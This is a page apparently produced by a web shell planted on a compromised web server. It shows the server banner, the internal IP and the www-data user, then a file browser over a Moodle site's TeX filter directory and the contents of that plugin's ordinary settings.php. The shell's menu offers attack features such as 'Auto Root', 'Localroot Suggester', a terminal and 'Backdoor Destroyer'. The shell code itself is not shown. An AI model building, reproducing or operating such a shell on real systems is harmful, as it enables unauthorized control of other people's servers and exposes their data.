Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
filter /
tex /
Delete
Unzip
Name
Size
Permission
Date
Action
db
[ DIR ]
drwxr-sr-x
2017-06-22 16:04
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:47
tests
[ DIR ]
drwxr-sr-x
2017-06-22 16:04
README.mimetex
11.3
KB
-rw-r--r--
2017-06-22 16:04
displaytex.php
1.72
KB
-rw-r--r--
2017-06-22 16:04
filter.php
8.18
KB
-rw-r--r--
2017-06-22 16:04
latex.php
6.66
KB
-rw-r--r--
2017-06-22 16:04
lib.php
5.52
KB
-rw-r--r--
2017-06-22 16:04
mimetex.darwin
2.69
MB
-rw-r--r--
2017-06-22 16:04
mimetex.exe
1.28
MB
-rw-r--r--
2017-06-22 16:04
mimetex.freebsd
1.3
MB
-rw-r--r--
2017-06-22 16:04
mimetex.linux
1.26
MB
-rw-r--r--
2017-06-22 16:04
pix.php
3.06
KB
-rw-r--r--
2017-06-22 16:04
readme_moodle.txt
868
B
-rw-r--r--
2017-06-22 16:04
settings.php
4.97
KB
-rw-r--r--
2017-06-22 16:04
texdebug.php
16.06
KB
-rw-r--r--
2017-06-22 16:04
thirdpartylibs.xml
229
B
-rw-r--r--
2017-06-22 16:04
version.php
1.15
KB
-rw-r--r--
2017-06-22 16:04
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * TeX filter settings * * @package filter * @subpackage tex * @copyright 2007 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die; if ($ADMIN->fulltree) { require_once($CFG->dirroot.'/filter/tex/lib.php'); $items = array(); $items[] = new admin_setting_heading('filter_tex/latexheading', get_string('latexsettings', 'filter_tex'), ''); $items[] = new admin_setting_configtextarea('filter_tex/latexpreamble', get_string('latexpreamble','filter_tex'), '', "\\usepackage[latin1]{inputenc}\n\\usepackage{amsmath}\n\\usepackage{amsfonts}\n\\RequirePackage{amsmath,amssymb,latexsym}\n"); $items[] = new admin_setting_configtext('filter_tex/latexbackground', get_string('backgroundcolour', 'admin'), '', '#FFFFFF'); $items[] = new admin_setting_configtext('filter_tex/density', get_string('density', 'admin'), '', '120', PARAM_INT); $default_filter_tex_pathlatex = ''; $default_filter_tex_pathdvips = ''; $default_filter_tex_pathdvisvgm = ''; $default_filter_tex_pathconvert = ''; if (PHP_OS=='Linux') { $default_filter_tex_pathlatex = "/usr/bin/latex"; $default_filter_tex_pathdvips = "/usr/bin/dvips"; $default_filter_tex_pathdvisvgm = "/usr/bin/dvisvgm"; $default_filter_tex_pathconvert = "/usr/bin/convert"; } else if (PHP_OS=='Darwin') { // most likely needs a fink install (fink.sf.net) $default_filter_tex_pathlatex = "/sw/bin/latex"; $default_filter_tex_pathdvips = "/sw/bin/dvips"; $default_filter_tex_pathdvisvgm = "/usr/bin/dvisvgm"; $default_filter_tex_pathconvert = "/sw/bin/convert"; } else if (PHP_OS=='WINNT' or PHP_OS=='WIN32' or PHP_OS=='Windows') { // note: you need Ghostscript installed (standard), miktex (standard) // and ImageMagick (install at c:\ImageMagick) $default_filter_tex_pathlatex = "c:\\texmf\\miktex\\bin\\latex.exe"; $default_filter_tex_pathdvips = "c:\\texmf\\miktex\\bin\\dvips.exe"; $default_filter_tex_pathdvisvgm = "c:\\texmf\\miktex\\bin\\dvisvgm.exe"; $default_filter_tex_pathconvert = "c:\\imagemagick\\convert.exe"; } $pathlatex = get_config('filter_tex', 'pathlatex'); $pathdvips = get_config('filter_tex', 'pathdvips'); $pathconvert = get_config('filter_tex', 'pathconvert'); $pathdvisvgm = get_config('filter_tex', 'pathdvisvgm'); if (strrpos($pathlatex . $pathdvips . $pathconvert . $pathdvisvgm, '"') or strrpos($pathlatex . $pathdvips . $pathconvert . $pathdvisvgm, "'")) { set_config('pathlatex', trim($pathlatex, " '\""), 'filter_tex'); set_config('pathdvips', trim($pathdvips, " '\""), 'filter_tex'); set_config('pathconvert', trim($pathconvert, " '\""), 'filter_tex'); set_config('pathdvisvgm', trim($pathdvisvgm, " '\""), 'filter_tex'); } $items[] = new admin_setting_configexecutable('filter_tex/pathlatex', get_string('pathlatex', 'filter_tex'), '', $default_filter_tex_pathlatex); $items[] = new admin_setting_configexecutable('filter_tex/pathdvips', get_string('pathdvips', 'filter_tex'), '', $default_filter_tex_pathdvips); $items[] = new admin_setting_configexecutable('filter_tex/pathconvert', get_string('pathconvert', 'filter_tex'), '', $default_filter_tex_pathconvert); $items[] = new admin_setting_configexecutable('filter_tex/pathdvisvgm', get_string('pathdvisvgm', 'filter_tex'), '', $default_filter_tex_pathdvisvgm); $items[] = new admin_setting_configexecutable('filter_tex/pathmimetex', get_string('pathmimetex', 'filter_tex'), get_string('pathmimetexdesc', 'filter_tex'), ''); // Even if we offer GIF, PNG and SVG formats here, in the update callback we check whether // required paths actually point to executables. If they don't, we force the setting // to GIF, as that's the only format mimeTeX can produce. $formats = array('gif' => 'GIF', 'png' => 'PNG', 'svg' => 'SVG'); $items[] = new admin_setting_configselect('filter_tex/convertformat', get_string('convertformat', 'filter_tex'), get_string('configconvertformat', 'filter_tex'), 'gif', $formats); foreach ($items as $item) { $item->set_updatedcallback('filter_tex_updatedcallback'); $settings->add($item); } }